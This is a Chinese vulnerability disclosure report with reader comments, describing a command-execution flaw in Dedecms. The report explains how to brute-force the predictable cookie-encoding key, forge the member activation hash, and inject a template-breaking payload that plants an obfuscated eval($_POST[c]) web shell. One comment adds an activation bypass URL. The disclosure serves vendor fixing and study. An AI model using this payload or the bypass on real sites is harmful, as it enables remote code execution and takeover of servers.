漏洞概要
关注数(112)
关注此漏洞
漏洞标题: Dedecms某命令执行漏洞
提交时间: 2014-02-25 20:56
公开时间: 2014-05-26 20:56
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态:
厂商已经确认
漏洞详情
披露状态:
2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商已经确认,细节仅向厂商公开
2014-03-03: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-04-24: 细节向核心白帽子及相关领域专家公开
2014-05-04: 细节向普通白帽子公开
2014-05-14: 细节向实习白帽子公开
2014-05-26: 细节向公众公开
简要描述:
这个命令执行漏洞也存在有一段时间了,需要会员中心,所以有点鸡肋。。
在以前的版本还需要后台一些配置才行。
但发现最新版本,默认安装,开了会员中心就能利用了(不管邮件验证哦!)。
详细说明:
首先,会员中心开放,注册一个号。
默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。
#先说说这个激活吧:
我们看看激活函数 index_do.php
注意到:md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);
mid email 已知。就是差 $cfg_cookie_encode 没法知道。
搜索 $cfg_cookie_encode 的使用
发现:
cookie.helper.php 中
查看 cookie ,不难发现:

即:
substr(md5($cfg_cookie_encode."8"),0,16) == "b07a81b5365b0449"
我们再看看 $cfg_cookie_encode 是怎样生成的
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
即:
A-Z a-z A-Z A-Z a-z 1000-9999 A-Z
就这几位,很有规律。
我简单写一个爆破程序
离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查
A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id
或者其它md5爆破工具也行

结果出来后:
OeQDg2992Z--8--aaaaaa@**.**.**.**
943ea8a69319e9dd17bc3b8245631300
**.**.**.**/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300
会员激活成功了。。。可以进入下一步操作。
转到内容 -> 上传软件 ,这里可以添加内容(旧版默认是没有隶属栏目的,所以不能利用,最新版带有了。)
#命令执行:
添加上传软件
本地地址 http://**.**.**.**
其它乱填就行,添加成功后,再次进入修改界面
软件地址改为:
http://**.**.**.**}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}
其实利用的是对软件地址的解释漏洞
可以打开 data\tplcache 目录,找到相关解释后的文件

可以从上图看到,数组的键被闭合上了。
再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。
(ps:5.6版,插入的代码可能有所不同,请自行测试)
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-02-28 14:20
厂商回复:
已经修复,感谢反馈
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
评价
-
2014-02-25 20:56 |
xsser 
( 普通白帽子 |
Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
0
-
2014-02-25 20:56 |
U神
( 核心白帽子 |
Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
0
-
2014-02-25 20:57 |
Bloodwolf
( 实习白帽子 |
Rank:47 漏洞数:8 | whoami)
0
-
2014-02-25 20:58 |
鬼魅羊羔
( 普通白帽子 |
Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
0
-
2014-02-25 20:59 |
寂寞的瘦子
( 普通白帽子 |
Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
0
你关注的白帽子 kobin97 发表了漏洞 Dedecms某命令执行漏洞
-
2014-02-25 21:00 |
My5t3ry
( 实习白帽子 |
Rank:35 漏洞数:14 )
1
屌,刚刚分析完乌云这两天的两个漏洞,kobin97黑阔发的真的不鸡肋啊
-
2014-02-25 21:11 |
wefgod
( 核心白帽子 |
Rank:1825 漏洞数:183 | 力不从心)
0
-
2014-02-25 21:32 |
zzR 
( 核心白帽子 |
Rank:1408 漏洞数:125 | 东方红**联盟欢迎你-0-)
0
-
2014-02-25 21:41 |
niliu 
( 核心白帽子 |
Rank:1719 漏洞数:226 | 逆流而上)
0
-
2014-02-25 22:15 |
Noxxx
( 普通白帽子 |
Rank:700 漏洞数:55 )
0
-
2014-02-25 22:18 |
lsh4ck
( 实习白帽子 |
Rank:81 漏洞数:14 | 不是黑客!但是黑客手段都要会?)
0
dede是不是跑出内奸了这两天。。。出来造福社会么
-
2014-02-25 22:31 |
txcbg
( 普通白帽子 |
Rank:392 漏洞数:54 | 说点什么呢?)
0
-
2014-02-25 22:32 |
Master
( 实习白帽子 |
Rank:33 漏洞数:10 )
1
-
2014-02-25 23:04 |
her0ma 
( 普通白帽子 |
Rank:681 漏洞数:100 | 专注小厂商三十年!)
0
-
2014-02-25 23:25 |
kimdle
( 路人 |
Rank:0 漏洞数:1 | @kimdle)
0
-
2014-02-26 08:33 |
围剿
( 路人 |
Rank:17 漏洞数:5 | Evil decimal)
0
-
2014-02-26 13:21 |
luwikes
( 普通白帽子 |
Rank:548 漏洞数:82 | 潜心学习~~~)
0
-
2014-02-28 14:54 |
Matt 
( 普通白帽子 |
Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)
0
-
2014-05-14 22:43 |
蓝莓说
( 实习白帽子 |
Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
1
python 4.py 17 d7c2eaeed6df6c39 这样做吧
-
2014-05-15 00:49 |
loopx9 
( 普通白帽子 |
Rank:789 漏洞数:81 | ..)
1
@kobin97 激活貌似能绕, /member/index_do.php?fmdo=user&dopost=regnew&step=2
注册后直接访问 "完善资料" 的url,"完善"一下就激活了。@Dedecms 这也算个洞吧,最新版本也还存在。
-
2014-05-15 17:59 |
蓝莓说
( 实习白帽子 |
Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
0
-
2014-05-31 08:11 |
lostwolf
( 路人 |
Rank:2 漏洞数:2 | 学习中...)
0
-
2015-07-21 14:55 |
Dreamin
( 路人 |
Rank:4 漏洞数:1 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)
0